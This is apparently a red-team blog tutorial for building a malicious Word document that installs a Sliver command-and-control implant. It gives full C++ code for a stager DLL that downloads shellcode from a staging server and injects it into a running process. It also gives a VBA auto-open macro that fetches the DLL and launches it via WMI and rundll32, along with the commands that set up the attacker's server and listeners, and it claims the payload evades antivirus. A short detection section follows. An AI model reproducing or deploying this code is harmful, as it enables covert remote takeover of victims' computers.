Basic Sliver Maldoc
Github: https://github.com/thoughtfault/sliver-maldoc
We will create a maldoc to get execution of a sliver implant on a target endpoint.
Custom stager
First, we will create our custom stager, which will download and execute our implant shellcode in a target process
#include "pch.h"
#include <vector>
#include <iostream>
#include <string>
#include <fstream>
#include <windows.h>
#include <winhttp.h>
#include <tlhelp32.h>
#pragma comment(lib, "Winhttp.lib")
extern "C" __declspec(dllexport) void inject() {
const wchar_t* stagingHost = L"192.168.56.1";
INTERNET_PORT stagingPort = 8443;
const wchar_t* stagingFile = L"notmalware.woff";
HINTERNET hSession = WinHttpOpen(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.1661.62", WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
if (hSession == NULL) {
return;
}
HINTERNET hConnect = WinHttpConnect(hSession, stagingHost, stagingPort, 0);
if (hConnect == NULL) {
CloseHandle(hSession);
return;
}
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", stagingFile, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
if (hRequest == NULL) {
CloseHandle(hSession);
CloseHandle(hConnect);
return;
}
bool retry;
do {
retry = false;
if (!WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, NULL)) {
DWORD error = GetLastError();
if (error == ERROR_WINHTTP_SECURE_FAILURE) {
DWORD dwFlags =
SECURITY_FLAG_IGNORE_UNKNOWN_CA |
SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE |
SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID;
if (WinHttpSetOption(hRequest, WINHTTP_OPTION_SECURITY_FLAGS, &dwFlags, sizeof(dwFlags))) {
retry = true;
}
}
else if (error == ERROR_WINHTTP_RESEND_REQUEST) {
retry = true;
}
else if (error == ERROR_WINHTTP_TIMEOUT) {
Sleep(60000);
retry = true;
}
}
} while (retry);
bool bResponse = WinHttpReceiveResponse(hRequest, NULL);
if (!bResponse) {
CloseHandle(hSession);
CloseHandle(hConnect);
CloseHandle(hRequest);
return;
}
DWORD dwSize;
DWORD dwTotalSize;
LPSTR buf;
std::vector<unsigned char> shellcode_vec;
do {
dwSize = 0;
if (!WinHttpQueryDataAvailable(hRequest, &dwSize)) {
goto cleanup;
return;
}
buf = new char[dwSize];
if (!buf) {
goto cleanup;
return;
}
ZeroMemory(buf, dwSize);
if (!WinHttpReadData(hRequest, (LPVOID)buf, dwSize, &dwTotalSize)) {
delete[] buf;
goto cleanup;
return;
}
shellcode_vec.insert(shellcode_vec.end(), buf, buf + dwSize);
delete[] buf;
} while (dwSize > 0);
cleanup:
CloseHandle(hSession);
CloseHandle(hConnect);
CloseHandle(hRequest);
unsigned char* shellcode = new unsigned char[shellcode_vec.size()];
std::copy(shellcode_vec.begin(), shellcode_vec.end(), shellcode);
size_t shellcode_size = shellcode_vec.size();
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
return;
}
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hProcessSnap, &pe32)) {
return;
}
std::wstring targetProcess = L"wsl.exe";
DWORD targetPID = NULL;
do {
if (targetProcess == pe32.szExeFile) {
targetPID = pe32.th32ProcessID;
}
} while (Process32Next(hProcessSnap, &pe32));
if (targetPID == NULL) {
return;
}
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
if (hProcess == NULL) {
return;
}
PVOID remoteBuffer = VirtualAllocEx(hProcess, NULL, shellcode_size, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
if (remoteBuffer == NULL) {
CloseHandle(hProcess);
return;
}
if (!WriteProcessMemory(hProcess, remoteBuffer, shellcode, shellcode_size, NULL)) {
CloseHandle(hProcess);
return;
}
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
if (hThread == NULL) {
CloseHandle(hProcess);
return;
}
CloseHandle(hThread);
CloseHandle(hProcess);
return;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
VBA
We will create our VBA code, which will download this .dll and execute it with rundll32.
Sub downloadFile(url As String, fileOutPath As String)
Dim WinHttpReq As Object, oStream As Object
Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
WinHttpReq.Open "GET", url, False
WinHttpReq.Send
If WinHttpReq.Status = 200 Then
Set oStream = CreateObject("ADODB.Stream")
oStream.Open
oStream.Type = 1
oStream.Write WinHttpReq.ResponseBody
oStream.SaveToFile fileOutPath, 2
oStream.Close
End If
End Sub
Sub Document_Open()
Dim filepath As String
filepath = Environ("TEMP") & "\update.dll"
downloadFile "http://192.168.56.1:8080/update.dll", filepath
Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
Set objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")
errReturn = objProcess.Create("rundll32.exe " & filepath & ",inject", Null, objConfig, intProcessID)
End Sub
Server-side
We will start our an http server to serve the .dll
python3 -m http.server 8080
We will set up sliver to listen on the correct ports
profiles new --mtls 192.168.56.1:443 --format shellcode win64
stage-listener --url https://192.168.56.1:8443 --profile win64
mtls --lport 443
This payload is ok. It bypasses AV and AWL (depending on configuration, you could block .dll wites to \users\public). Hopefully not EDR.
Detection
The main detection opportunity is the writing of the unsigned .dll to a publicly writable folder, followed by the execution of the .dll with a lolbas. rundll32’s parent process will be wmiprvse. This is just basic evasion and would hope to break any detections looking for winword creating rundll32. Ideally, all the functionality in the .dll would be done through VBA, but my VBA is bad so I coppied the f-secure payload :).
References
https://blog.f-secure.com/dechaining-macros-and-evading-edr/